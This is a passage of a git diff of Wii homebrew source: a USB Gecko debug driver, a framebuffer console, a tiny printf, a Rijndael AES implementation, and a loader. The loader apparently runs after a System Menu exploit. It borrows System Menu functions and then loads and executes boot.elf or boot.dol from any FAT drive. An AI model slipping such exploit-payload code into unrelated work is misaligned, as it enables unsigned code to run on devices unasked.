exi_write(EXI_CH1_DATA, 0xf0000000 | (offset << 9));
exi_write(EXI_CH1_CONTROL, 0x35); // 4 bytes immediate write
usbgecko_wait_for_transfer_complete();
usbgecko_select_device();
exi_write(EXI_CH1_CONTROL, 0x39); // 4 bytes immediate read/write
usbgecko_wait_for_transfer_complete();
x = exi_read(EXI_CH1_DATA) >> 23;
usbgecko_deselect_device();
return x;
}
u32 usbgecko_flash_read32(u32 offset)
{
u32 x, i;
x = 0;
for (i = 0; i < 4; i++)
x = (x << 8) | usbgecko_flash_read8(offset++);
return x;
}
static int usbgecko_console_enabled = 0;
static u32 usbgecko_command(u32 command)
{
u32 x;
usbgecko_select_device();
exi_write(EXI_CH1_DATA, command);
exi_write(EXI_CH1_CONTROL, 0x19); // 2 bytes immediate read/write
usbgecko_wait_for_transfer_complete();
x = exi_read(EXI_CH1_DATA);
usbgecko_deselect_device();
return x;
}
int usbgecko_checkgecko(void)
{
return usbgecko_command(0x90000000) == 0x04700000;
}
void usbgecko_console_putc(u8 c)
{
u32 x;
if (!usbgecko_console_enabled)
return;
if (c == '\n')
usbgecko_console_putc('\r');
x = usbgecko_command(0xb0000000 | (c << 20));
}
static void usbgecko_flush(void)
{
u32 x;
do {
x = usbgecko_command(0xa0000000);
} while (x & 0x08000000);
}
void usbgecko_init(void)
{
if (!usbgecko_checkgecko())
return;
usbgecko_console_enabled = 1;
usbgecko_flush();
}

170
loader/video.c Normal file
View File

@ -0,0 +1,170 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// Copyright 2003-2004 Felix Domke <tmbinc@elitedvb.net>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
extern u8 console_font_10x16x4[];
#define FONT_XSIZE 10
#define FONT_YSIZE 16
#define FONT_XGAP 0
#define FONT_YGAP 2
static struct {
u32 xres, yres, stride;
u32 cursor_x, cursor_y;
u32 border_left, border_right, border_top, border_bottom;
} fb;
static void fb_write(u32 offset, u32 x)
{
// write32(0x00f00000 + offset, x);
u32 *p = (u32 *)(0x80f00000 + offset);
*p = x;
sync_after_write(p, 4);
}
static u32 fb_read(u32 offset)
{
// return read32(0x00f00000 + offset);
u32 *p = (u32 *)(0x80f00000 + offset);
return *p;
}
static void fb_clear_lines(u32 top, u32 lines)
{
u32 x, y;
u32 offset;
offset = fb.stride * top;
for (y = 0; y < lines; y++) {
for (x = 0; x < fb.xres/2; x++)
fb_write(offset + 4*x, 0x00800080);
offset += fb.stride;
}
}
static void fb_scroll_line(void)
{
u32 x, y;
u32 offset, delta;
u32 lines = FONT_YSIZE + FONT_YGAP;
offset = fb.stride * fb.border_top;
delta = fb.stride * lines;
for (y = fb.border_top; y < fb.yres - lines; y++) {
for (x = 0; x < fb.xres/2; x++)
fb_write(offset + 4*x, fb_read(offset + 4*x + delta));
offset += fb.stride;
}
fb_clear_lines(fb.yres - lines, lines);
fb.cursor_y -= lines;
}
static void fb_drawc(u32 x, u32 y, u8 c)
{
if (c < 0x20 || c > 0x7f)
c = 0x7f;
c -= 0x20;
u32 offset = fb.stride*y + 2*x;
u8 *font = &console_font_10x16x4[c * FONT_XSIZE * FONT_YSIZE / 2];
u32 ax, ay;
for (ay = 0; ay < FONT_YSIZE; ay++) {
for (ax = 0; ax < FONT_XSIZE / 2; ax++) {
u8 bits = *font++;
u32 nybh = bits & 0xf0;
u32 nybl = bits & 0x0f;
u32 q = 0x00800080;
q |= (nybh << 24) | (nybh << 20);
q |= (nybl << 12) | (nybl << 8);
fb_write(offset + 4*ax, q);
}
offset += fb.stride;
}
}
void fb_putc(char c)
{
switch (c) {
case '\n':
fb.cursor_y += FONT_YSIZE + FONT_YGAP;
case '\r':
fb.cursor_x = fb.border_left;
break;
default:
fb_drawc(fb.cursor_x, fb.cursor_y, c);
fb.cursor_x += FONT_XSIZE + FONT_XGAP;
if ((fb.cursor_x + FONT_XSIZE) > fb.border_right) {
fb.cursor_y += FONT_YSIZE + FONT_YGAP;
fb.cursor_x = fb.border_left;
}
}
if (fb.cursor_y + FONT_YSIZE >= fb.border_bottom)
fb_scroll_line();
}
static void fb_init(u32 xres, u32 yres, u32 stride)
{
fb.xres = xres;
fb.yres = yres;
fb.stride = stride;
fb.border_left = 30;
fb.border_top = 30;
fb.border_right = fb.xres - 30;
fb.border_bottom = fb.yres - 30;
fb.cursor_x = fb.border_left;
fb.cursor_y = fb.border_top;
fb_clear_lines(0, fb.yres);
}
#define FB_WIDTH 640
void video_init(void)
{
// read VTR register to determine linecount and mode
u32 vtr = read16(0x0c002000);
u32 lines = vtr >> 4;
if ((vtr & 0x0f) > 10) { // progressive
// set framebuffer position
write32(0x0c00201c, 0x00f00000);
write32(0x0c002024, 0x00f00000);
} else { //interlaced
lines *= 2;
u32 vto = read32(0x0c00200c);
u32 vte = read32(0x0c002010);
// set framebuffer position
// try to figure out the interlacing order
if ((vto & 0x03ff) < (vte & 0x03ff)) {
write32(0x0c00201c, 0x00f00000);
write32(0x0c002024, 0x00f00000 + 2*FB_WIDTH);
} else {
write32(0x0c00201c, 0x00f00000 + 2*FB_WIDTH);
write32(0x0c002024, 0x00f00000);
}
}
fb_init(FB_WIDTH, lines, 2*FB_WIDTH);
}

60
loader_smFuncs/Makefile Normal file
View File

@ -0,0 +1,60 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#CROSS ?= $(WIIDEV)/bin/powerpc-elf-
CROSS ?= $(DEVKITPRO)/devkitPPC_186/bin/powerpc-gekko-
ifeq ($(origin CC), default)
CC = $(CROSS)gcc -m32
endif
OBJCOPY ?= $(CROSS)objcopy
DEPDIR = .deps
MACHDEP = -mcpu=750 -meabi -mhard-float
CFLAGS = $(MACHDEP) -Os -Wall -pipe -ffunction-sections -finline-functions-called-once --combine -fwhole-program -ffreestanding
LDFLAGS = $(MACHDEP) -n -nostartfiles -nostdlib
ASFLAGS = -D_LANGUAGE_ASSEMBLY
targets := loader.bin
CFILES = main.c string.c
OBJS := crt0.o _all.o
ifeq ($(debug),1)
CFLAGS += -DDEBUG -std=gnu99
CFILES += console.c usbgecko.c
endif
all: $(targets)
$(targets): %.bin: %.elf
@echo " OBJCOPY $@"
@$(OBJCOPY) -O binary $< $@
elfs := $(targets:.bin=.elf)
$(elfs): %.elf: %.lds $(OBJS)
@echo " LINK $@"
@$(CC) $(LDFLAGS) -n -T $^ -o $@
%.o: %.s
@echo " ASSEMBLE $<"
@$(CC) $(CFLAGS) $(DEFINES) $(ASFLAGS) -c $< -o $@
_all.o: $(CFILES)
@echo " COMPILE ALL"
@mkdir -p $(DEPDIR)
@$(CC) $(CFLAGS) $(DEFINES) -Wp,-MMD,$(DEPDIR)/$(*F).d,-MQ,"$@",-MP -c $(CFILES) -o $@
FORCE:
clean:
@echo "clean..."
@rm -rf $(OBJS) $(targets) $(elfs) $(DEPDIR)

148
loader_smFuncs/console.c Normal file
View File

@ -0,0 +1,148 @@
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include <stdarg.h>
#include "loader.h"
#define put( x ) usbgecko_console_putc( x )
// __umoddi3() and friends are very big, and more general than we need:
// radix is always (very) small, so we can work by much bigger chunks
// than single bits, always.
static int extract_dig(u64 *x, u32 radix)
{
u32 hi = *x >> 32;
u32 lo = *x;
u32 mod = hi % radix;
hi /= radix;
u32 n = (mod << 16) | (lo >> 16);
mod = n % radix;
n /= radix;
lo = (mod << 16) | (lo & 0xffff);
mod = lo % radix;
lo /= radix;
lo |= (n << 16);
*x = ((u64)hi << 32) | lo;
return mod;
}
// This implements conversions %{0}{number}{l,ll}[%cdsux] only.
// Field length is obeyed for numbers only.
// Always returns 0.
int printf(const char *restrict format, ...)
{
//return 0;
va_list ap;
va_start(ap, format);
while (*format) {
if (*format != '%') {
put(*format++);
continue;
}
format++;
int zero = 0;
int prec = 0;
if (*format == '0') {
zero = 1;
format++;
}
while (*format >= '0' && *format <= '9')
prec = 10*prec + (*format++ - '0');
int ll = 0;
while (*format == 'l') {
ll++;
format++;
}
int radix = 10;
int is_signed = 1;
switch (*format++) {
case '%':
put('%');
break;
case 'c':
put(va_arg(ap, int));
break;
case 's':
;
char *s = va_arg(ap, char *);
while (*s)
put(*s++);
break;
case 'x':
radix = 16;
case 'u':
is_signed = 0;
case 'd':
;
u64 x;
if (is_signed) {
if (ll == 0)
x = va_arg(ap, int);
else if (ll == 1)
x = va_arg(ap, long);
else
x = va_arg(ap, long long);
} else {
if (ll == 0)
x = va_arg(ap, unsigned int);
else if (ll == 1)
x = va_arg(ap, unsigned long);
else
x = va_arg(ap, unsigned long long);
}
if (is_signed) {
if ((long long)x < 0)
x = -x;
else
is_signed = 0;
}
char hold[22];
char *hld = &hold[sizeof hold];
*--hld = 0;
int len = 0;
do {
int dig = extract_dig(&x, radix);
if (dig >= 10)
dig += 'a' - 10;
else
dig += '0';
*--hld = dig;
len++;
} while (x);
if (is_signed)
*--hld = '-';
while (len < prec) {
put(zero ? '0' : ' ');
len++;
}
while (*hld)
put(*hld++);
}
}
va_end(ap);
return 0;
}

19
loader_smFuncs/crt0.s Normal file
View File

@ -0,0 +1,19 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
.globl _start
_start:
# as long as it doesn't crash, this is a good enough stack
# we cant use the existing stack as we might be loading an elf in that location
lis 1, 0x9310;
# initialize bss? meh
# Clear BSS.
# lis 3,__bss_start@ha ; addi 3,3,__bss_start@l
# li 4,0
# lis 5,__bss_end@ha ; addi 5,5,__bss_end@l ; sub 5,5,3
# bl memset
# there is no branch to main() or anything here because the ld script
# and compiler options insert main() directly after this file. so no branching needed

BIN
loader_smFuncs/loader.bin Executable file

Binary file not shown.

BIN
loader_smFuncs/loader.elf Executable file

Binary file not shown.

115
loader_smFuncs/loader.h Normal file
View File

@ -0,0 +1,115 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#ifndef _LOADER_H
#define _LOADER_H
#include <stddef.h>
// String functions.
//size_t strlen(const char *);
//size_t strnlen(const char *, size_t);
void *memset(void *, int, size_t) __attribute__ ((externally_visible));
void *memcpy(void *, const void *, size_t);
int memcmp(const void *, const void *, size_t);
// Basic types.
typedef unsigned char u8;
typedef unsigned short int u16;
typedef unsigned int u32;
typedef unsigned long long int u64;
/*
static inline u16 le16(const u8 *p)
{
return p[0] | (p[1] << 8);
}
static inline u32 le32(const u8 *p)
{
return p[0] | (p[1] << 8) | (p[2] << 16) | (p[3] << 24);
}*/
// Basic I/O.
#ifdef DEBUG
static inline u32 read32(u32 addr)
{
u32 x;
asm volatile("lwz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
return x;
}
static inline void write32(u32 addr, u32 x)
{
asm("stw %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
}
static inline u16 read16(u32 addr)
{
u16 x;
asm volatile("lhz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
return x;
}
static inline void write16(u32 addr, u16 x)
{
asm("sth %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
}
// Address mapping.
/*
static inline u32 virt_to_phys(const void *p)
{
return (u32)p & 0x7fffffff;
}
static inline void *phys_to_virt(u32 x)
{
return (void *)(x | 0x80000000);
}*/
// USB Gecko.
void usbgecko_init(void);
int usbgecko_checkgecko(void);
void usbgecko_console_putc(u8 c);
// Version string.
//extern const char version[];
// Video.
//void video_init(void);
//void fb_putc(char);
// Console.
//void console_init(void);
int printf(const char *fmt, ...);
#else
#define printf( ... )
#define usbgecko_init()
#endif
#endif

35
loader_smFuncs/loader.lds Normal file
View File

@ -0,0 +1,35 @@
/* Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
This code is licensed to you under the terms of the GNU GPL, version 2;
see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */
OUTPUT_FORMAT("elf32-powerpc")
OUTPUT_ARCH(powerpc:common)
ENTRY(_start)
SECTIONS {
. = 0x92ffffd4;
.sbss : {
*(.bss.a)
*(.bss.b)
*(.bss.c)
*(.bss.d)
*(.bss.e)
*(.bss.f)
*(.bss.g)
*(.bss.h)
*(.bss.i)
*(.bss.j)
*(.bss.k)
}
.start : { crt0.o(*) }
.text.main : { *(.text.main) }
.text : { *(.text) }
.rodata : { *(.rodata .rodata.*)}
.data : { *(.data) }
.bss : {
*(.bss)
}
}

263
loader_smFuncs/main.c Normal file
View File

@ -0,0 +1,263 @@
#include "loader.h"
#define MIN( x, y ) ( ( x ) < ( y ) ? ( x ) : ( y ) )
#define TV( x )\
printf( #x": %08x\n", (x) );
// this is to make all these function pointers point to the right spot
//! they are sort of statically-dynamically linked (tm) functions
//! we rely on the ld script and the code that loads this binary to take care of the linking
#define IMPORT( x ) __attribute__((section(".bss." #x )))
// which version of their filestruct is used
u32 IMPORT( a ) fileStructVersion;
// reboot the system menu
void __attribute__(( noreturn, section(".bss.b") ))(*OSReturnToMenu)();
// kill audio
void IMPORT( c ) (*__OSStopAudioSystem)();
// abort gx stuff
void IMPORT( d ) (*__GXAbort)();
// open a file from the currently mounted device
//! returns pointer to file object
u32* IMPORT( e ) (*VFSysOpenFile_current)( const char* path, const char* mode );
// read an open file
//! returns 0 on success?
int IMPORT( f ) (*VFSysReadFile)( u32 *outLength, void* buffer, u32 size, u32 *fp );
// release stm
void IMPORT( g ) (*__OSUnRegisterStateEvent)();
// blackout the screen
void IMPORT( h ) (*VISetBlack)( int one );
// flush video
void IMPORT( i ) (*VIFlush)();
// convert a letter to a mounted FAT device
//! returns a 'pointer' to the device mounted at that letter or 0 on error
u32 IMPORT( j ) (*VFiPFVOL_GetVolumeFromDrvChar)( int letter );
// set a FAT device as current
//! no clue what the return value is. it wasnt being checked in the code i looked at
u32 IMPORT( k ) (*VFiPFVOL_SetCurrentVolume)( u32 pointer );
void *sync_before_exec( void *p, u32 len )
{
u32 a, b;
a = (u32)p & ~0x1f;
b = ((u32)p + len + 0x1f) & ~0x1f;
for ( ; a < b; a += 32)
{
asm("dcbst 0,%0 ; sync ; icbi 0,%0 ; isync" : : "b"(a));// this is probably superfluous cache syncing, but it saves 4 bytes in the final binary
}
return p;
}
#ifdef DEBUG
char ascii( char s ) {
if ( s < 0x20 ) return '.';
if ( s > 0x7E ) return '.';
return s;
}
void hexdump( const void *d, int len ) {
unsigned char *data;
int i, off;
data = (unsigned char*)d;
printf( "\n");
for ( off = 0; off < len; off += 16 ) {
printf( "%08x ", off );
for ( i=0; i<16; i++ )
{
if( ( i + 1 ) % 4 )
{
if ( ( i + off ) >= len ) printf(" ");
else printf("%02x",data[ off + i ]);
}
else
{
if ( ( i + off ) >= len ) printf(" ");
else printf("%02x ",data[ off + i ]);
}
}
printf( " " );
for ( i = 0; i < 16; i++ )
if ( ( i + off) >= len ) printf(" ");
else printf("%c", ascii( data[ off + i ]));
printf("\n");
}
}
#else
#define hexdump( x, y )
#endif
typedef struct _dolheader {
u32 data_pos[ 18 ];
u32 data_start[ 18 ];
u32 data_size[ 18 ];
u32 bss_start;
u32 bss_size;
void *entry_point;
} dolheader;
// this dol loader makes a lot of assumptions. like that the dol is valid
//! it will try to load any pointer passed to except NULL
static void LoadDol( const void *dolstart )
{
u32 i;
dolheader *dolfile;
dolfile = (dolheader *) dolstart;
if( !dolstart )
{
return;
}
for( i = 0; i < 18; i++ )
{
sync_before_exec( memcpy( (void *)dolfile->data_start[ i ], dolstart+dolfile->data_pos[ i ], dolfile->data_size[ i ] ), dolfile->data_size[ i ] );
}
memset( (void *)dolfile->bss_start, 0, dolfile->bss_size );
void __attribute__(( noreturn )) (*Entry)() = dolfile->entry_point;
Entry();
}
static inline int valid_elf_image(void *addr)
{
u32 *header = addr;
return addr && header[0] == 0x7f454c46 // ELF
&& header[1] == 0x01020100 // 32-bit, BE, ELF v1, SVR
&& header[4] == 0x00020014 // executable, PowerPC
&& header[5] == 1 // object file v1
&& (header[10] & 0xffff) == 32; // PHDR size
}
// either loads the elf and executes it, or returns the same pointer it was passed
static inline void *LoadElf( void *addr )
{
if( !valid_elf_image( addr ) )
{
return addr;
}
u32 *header = addr;
u32 *phdr = addr + header[7];
u32 n = header[11] >> 16;
u32 i;
for (i = 0; i < n; i++, phdr += 8) {
if (phdr[0] != 1) // PT_LOAD
continue;
u32 off = phdr[1];
void *dest = (void *)phdr[3];
u32 filesz = phdr[4];
u32 memsz = phdr[5];
//memcpy(dest, addr + off, filesz);
//memset(dest + filesz, 0, memsz - filesz);
//sync_before_exec( dest, memsz );
// passing the return walue of memcpy to the sync_before_exec saves 4 bytes
sync_before_exec( memcpy( dest, addr + off, filesz ), memsz );
memset(dest + filesz, 0, memsz - filesz);
}
void __attribute__(( noreturn )) (*Entry)() = (void *)header[6];
Entry();
}
// cleanup a little bit
void ShutDown()
{
__GXAbort();
__OSStopAudioSystem();
__OSUnRegisterStateEvent();
}
// making this global shaves off 4 bytes
u32 justRead = 0;
u8* OpenAndReadFile()
{
u8 *buf = (u8*)0x92100000;
printf( "OpenAndReadFile(): " );
u32 size;
// open file
u32* fp = VFSysOpenFile_current( "/boot.elf", "r+" );
if( !fp )
{
fp = VFSysOpenFile_current( "/boot.dol", "r+" );
if( !fp )
{
printf( "no elf or dol found\n" );
return NULL;
}
}
//printf( "fd: %08x\n", fp );
// get size
size = *(u32*)( fp[ 2 ] + fileStructVersion );
// read
printf( "reading 0x%0x bytes...", size );
VFSysReadFile( &justRead, buf, size, fp );
//printf( "VFSysReadFile( %08x, %08x ): %d\n", justRead, (u32)buf, r );
if( justRead != size )
{
printf( "short read\n" );
OSReturnToMenu();
}
printf( "ok\n" );
return buf;
}
u8 MountDrive( int drive )
{
printf( "MountDrive( \'%c\' ): ", drive );
u32 volume = VFiPFVOL_GetVolumeFromDrvChar( drive );
if( !volume )
{
printf( "error getting volume \'%c\'\n", drive );
return 0;
}
VFiPFVOL_SetCurrentVolume( volume );
printf( "ok\n" );
return 1;
}
void __attribute__(( noreturn )) main()
{
usbgecko_init();
VISetBlack( 1 );
VIFlush();
ShutDown();
// check all mounted FAT devices and look for boot.elf and boot.dol
int ch;
for( ch = 0x41; ch < 0x5b; ch++ )
{
// try to set current device
if( MountDrive( ch ) )
{
// try to load file from whatever device is set as current
LoadDol( LoadElf( OpenAndReadFile() ) );
}
}
printf( "couldn\'t load file from any device. exiting...\n" );
OSReturnToMenu();
}

61
loader_smFuncs/string.c Normal file
View File

@ -0,0 +1,61 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
#if 0
size_t strlen(const char *s)
{
size_t len;
for (len = 0; s[len]; len++)
;
return len;
}
size_t strnlen(const char *s, size_t count)
{
size_t len;
for (len = 0; s[len] && len < count; len++)
;
return len;
}
int memcmp(const void *b1, const void *b2, size_t len)
{
size_t i;
for (i = 0; i < len; i++) {
int diff = ((unsigned char *)b1)[i] - ((unsigned char *)b2)[i];
if (diff)
return diff;
}
return 0;
}
#endif
void *memset(void *b, int c, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)b)[i] = c;
return b;
}
void *memcpy(void *dst, const void *src, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)dst)[i] = ((unsigned char *)src)[i];
return dst;
}

95
loader_smFuncs/usbgecko.c Normal file
View File

@ -0,0 +1,95 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
// Based on code:
// Copyright (c) 2008 - Nuke - <wiinuke@gmail.com>
#include "loader.h"
static void exi_write(u32 addr, u32 x)
{
write32(0x0d006800 + addr, x);
}
static u32 exi_read(u32 addr)
{
return read32(0x0d006800 + addr);
}
#define EXI_CH1_STATUS 0x14
#define EXI_CH1_CONTROL 0x20
#define EXI_CH1_DATA 0x24
static void usbgecko_deselect_device(void)
{
exi_write(EXI_CH1_STATUS, 0);
}
static void usbgecko_select_device(void)
{
// device 0, 16MHz
exi_write(EXI_CH1_STATUS, 0xc0);
}
static void usbgecko_wait_for_transfer_complete(void)
{
while (exi_read(EXI_CH1_CONTROL) & 1)
;
}
static int usbgecko_console_enabled = 0;
static u32 usbgecko_command(u32 command)
{
u32 x;
usbgecko_select_device();
exi_write(EXI_CH1_DATA, command);
exi_write(EXI_CH1_CONTROL, 0x19); // 2 bytes immediate read/write
usbgecko_wait_for_transfer_complete();
x = exi_read(EXI_CH1_DATA);
usbgecko_deselect_device();
return x;
}
int usbgecko_checkgecko(void)
{
return usbgecko_command(0x90000000) == 0x04700000;
}
void usbgecko_console_putc(u8 c)
{
u32 x;
if (!usbgecko_console_enabled)
return;
if (c == '\n')
usbgecko_console_putc('\r');
x = usbgecko_command(0xb0000000 | (c << 20));
}
static void usbgecko_flush(void)
{
u32 x;
do {
x = usbgecko_command(0xa0000000);
} while (x & 0x08000000);
}
void usbgecko_init(void)
{
usbgecko_console_enabled = 0;
if (!usbgecko_checkgecko())
return;
usbgecko_console_enabled = 1;
usbgecko_flush();
}

402
source/aes.cpp Normal file
View File

@ -0,0 +1,402 @@
/* Rijndael Block Cipher - aes.c
Written by Mike Scott 21st April 1999
mike@compapp.dcu.ie
Permission for free direct or derivative use is granted subject
to compliance with any conditions that the originators of the
algorithm place on its exploitation.
*/
//#include <stdio.h>
//#include <stdlib.h>
#include <string.h>
#define u8 unsigned char /* 8 bits */
#define u32 unsigned long /* 32 bits */
#define u64 unsigned long long
/* rotates x one bit to the left */
#define ROTL(x) (((x)>>7)|((x)<<1))
/* Rotates 32-bit word left by 1, 2 or 3 byte */
#define ROTL8(x) (((x)<<8)|((x)>>24))
#define ROTL16(x) (((x)<<16)|((x)>>16))
#define ROTL24(x) (((x)<<24)|((x)>>8))
/* Fixed Data */
static u8 InCo[4]={0xB,0xD,0x9,0xE}; /* Inverse Coefficients */
static u8 fbsub[256];
static u8 rbsub[256];
static u8 ptab[256],ltab[256];
static u32 ftable[256];
static u32 rtable[256];
static u32 rco[30];
/* Parameter-dependent data */
int Nk,Nb,Nr;
u8 fi[24],ri[24];
u32 fkey[120];
u32 rkey[120];
static u32 pack(u8 *b)
{ /* pack bytes into a 32-bit Word */
return ((u32)b[3]<<24)|((u32)b[2]<<16)|((u32)b[1]<<8)|(u32)b[0];
}
static void unpack(u32 a,u8 *b)
{ /* unpack bytes from a word */
b[0]=(u8)a;
b[1]=(u8)(a>>8);
b[2]=(u8)(a>>16);
b[3]=(u8)(a>>24);
}
static u8 xtime(u8 a)
{
u8 b;
if (a&0x80) b=0x1B;
else b=0;
a<<=1;
a^=b;
return a;
}
static u8 bmul(u8 x,u8 y)
{ /* x.y= AntiLog(Log(x) + Log(y)) */
if (x && y) return ptab[(ltab[x]+ltab[y])%255];
else return 0;
}
static u32 SubByte(u32 a)
{
u8 b[4];
unpack(a,b);
b[0]=fbsub[b[0]];
b[1]=fbsub[b[1]];
b[2]=fbsub[b[2]];
b[3]=fbsub[b[3]];
return pack(b);
}
static u8 product(u32 x,u32 y)
{ /* dot product of two 4-byte arrays */
u8 xb[4],yb[4];
unpack(x,xb);
unpack(y,yb);
return bmul(xb[0],yb[0])^bmul(xb[1],yb[1])^bmul(xb[2],yb[2])^bmul(xb[3],yb[3]);
}
static u32 InvMixCol(u32 x)
{ /* matrix Multiplication */
u32 y,m;
u8 b[4];
m=pack(InCo);
b[3]=product(m,x);
m=ROTL24(m);
b[2]=product(m,x);
m=ROTL24(m);
b[1]=product(m,x);
m=ROTL24(m);
b[0]=product(m,x);
y=pack(b);
return y;
}
u8 ByteSub(u8 x)
{
u8 y=ptab[255-ltab[x]]; /* multiplicative inverse */
x=y; x=ROTL(x);
y^=x; x=ROTL(x);
y^=x; x=ROTL(x);
y^=x; x=ROTL(x);
y^=x; y^=0x63;
return y;
}
void gentables(void)
{ /* generate tables */
int i;
u8 y,b[4];
/* use 3 as primitive root to generate power and log tables */
ltab[0]=0;
ptab[0]=1; ltab[1]=0;
ptab[1]=3; ltab[3]=1;
for (i=2;i<256;i++)
{
ptab[i]=ptab[i-1]^xtime(ptab[i-1]);
ltab[ptab[i]]=i;
}
/* affine transformation:- each bit is xored with itself shifted one bit */
fbsub[0]=0x63;
rbsub[0x63]=0;
for (i=1;i<256;i++)
{
y=ByteSub((u8)i);
fbsub[i]=y; rbsub[y]=i;
}
for (i=0,y=1;i<30;i++)
{
rco[i]=y;
y=xtime(y);
}
/* calculate forward and reverse tables */
for (i=0;i<256;i++)
{
y=fbsub[i];
b[3]=y^xtime(y); b[2]=y;
b[1]=y; b[0]=xtime(y);
ftable[i]=pack(b);
y=rbsub[i];
b[3]=bmul(InCo[0],y); b[2]=bmul(InCo[1],y);
b[1]=bmul(InCo[2],y); b[0]=bmul(InCo[3],y);
rtable[i]=pack(b);
}
}
void gkey(int nb,int nk,u8 *key)
{ /* blocksize=32*nb bits. Key=32*nk bits */
/* currently nb,bk = 4, 6 or 8 */
/* key comes as 4*Nk bytes */
/* Key Scheduler. Create expanded encryption key */
int i,j,k,m,N;
int C1,C2,C3;
u32 CipherKey[8];
Nb=nb; Nk=nk;
/* Nr is number of rounds */
if (Nb>=Nk) Nr=6+Nb;
else Nr=6+Nk;
C1=1;
if (Nb<8) { C2=2; C3=3; }
else { C2=3; C3=4; }
/* pre-calculate forward and reverse increments */
for (m=j=0;j<nb;j++,m+=3)
{
fi[m]=(j+C1)%nb;
fi[m+1]=(j+C2)%nb;
fi[m+2]=(j+C3)%nb;
ri[m]=(nb+j-C1)%nb;
ri[m+1]=(nb+j-C2)%nb;
ri[m+2]=(nb+j-C3)%nb;
}
N=Nb*(Nr+1);
for (i=j=0;i<Nk;i++,j+=4)
{
CipherKey[i]=pack(key+j);
}
for (i=0;i<Nk;i++) fkey[i]=CipherKey[i];
for (j=Nk,k=0;j<N;j+=Nk,k++)
{
fkey[j]=fkey[j-Nk]^SubByte(ROTL24(fkey[j-1]))^rco[k];
if (Nk<=6)
{
for (i=1;i<Nk && (i+j)<N;i++)
fkey[i+j]=fkey[i+j-Nk]^fkey[i+j-1];
}
else
{
for (i=1;i<4 &&(i+j)<N;i++)
fkey[i+j]=fkey[i+j-Nk]^fkey[i+j-1];
if ((j+4)<N) fkey[j+4]=fkey[j+4-Nk]^SubByte(fkey[j+3]);
for (i=5;i<Nk && (i+j)<N;i++)
fkey[i+j]=fkey[i+j-Nk]^fkey[i+j-1];
}
}
/* now for the expanded decrypt key in reverse order */
for (j=0;j<Nb;j++) rkey[j+N-Nb]=fkey[j];
for (i=Nb;i<N-Nb;i+=Nb)
{
k=N-Nb-i;
for (j=0;j<Nb;j++) rkey[k+j]=InvMixCol(fkey[i+j]);
}
for (j=N-Nb;j<N;j++) rkey[j-N+Nb]=fkey[j];
}
/* There is an obvious time/space trade-off possible here. *
* Instead of just one ftable[], I could have 4, the other *
* 3 pre-rotated to save the ROTL8, ROTL16 and ROTL24 overhead */
void encrypt(u8 *buff)
{
int i,j,k,m;
u32 a[8],b[8],*x,*y,*t;
for (i=j=0;i<Nb;i++,j+=4)
{
a[i]=pack(buff+j);
a[i]^=fkey[i];
}
k=Nb;
x=a; y=b;
/* State alternates between a and b */
for (i=1;i<Nr;i++)
{ /* Nr is number of rounds. May be odd. */
/* if Nb is fixed - unroll this next
loop and hard-code in the values of fi[] */
for (m=j=0;j<Nb;j++,m+=3)
{ /* deal with each 32-bit element of the State */
/* This is the time-critical bit */
y[j]=fkey[k++]^ftable[(u8)x[j]]^
ROTL8(ftable[(u8)(x[fi[m]]>>8)])^
ROTL16(ftable[(u8)(x[fi[m+1]]>>16)])^
ROTL24(ftable[(u8)(x[fi[m+2]]>>24)]);
}
t=x; x=y; y=t; /* swap pointers */
}
/* Last Round - unroll if possible */
for (m=j=0;j<Nb;j++,m+=3)
{
y[j]=fkey[k++]^(u32)fbsub[(u8)x[j]]^
ROTL8((u32)fbsub[(u8)(x[fi[m]]>>8)])^
ROTL16((u32)fbsub[(u8)(x[fi[m+1]]>>16)])^
ROTL24((u32)fbsub[(u8)(x[fi[m+2]]>>24)]);
}
for (i=j=0;i<Nb;i++,j+=4)
{
unpack(y[i],(u8 *)&buff[j]);
x[i]=y[i]=0; /* clean up stack */
}
return;
}
void decrypt(u8 *buff)
{
int i,j,k,m;
u32 a[8],b[8],*x,*y,*t;
for (i=j=0;i<Nb;i++,j+=4)
{
a[i]=pack(buff+j);
a[i]^=rkey[i];
}
k=Nb;
x=a; y=b;
/* State alternates between a and b */
for (i=1;i<Nr;i++)
{ /* Nr is number of rounds. May be odd. */
/* if Nb is fixed - unroll this next
loop and hard-code in the values of ri[] */
for (m=j=0;j<Nb;j++,m+=3)
{ /* This is the time-critical bit */
y[j]=rkey[k++]^rtable[(u8)x[j]]^
ROTL8(rtable[(u8)(x[ri[m]]>>8)])^
ROTL16(rtable[(u8)(x[ri[m+1]]>>16)])^
ROTL24(rtable[(u8)(x[ri[m+2]]>>24)]);
}
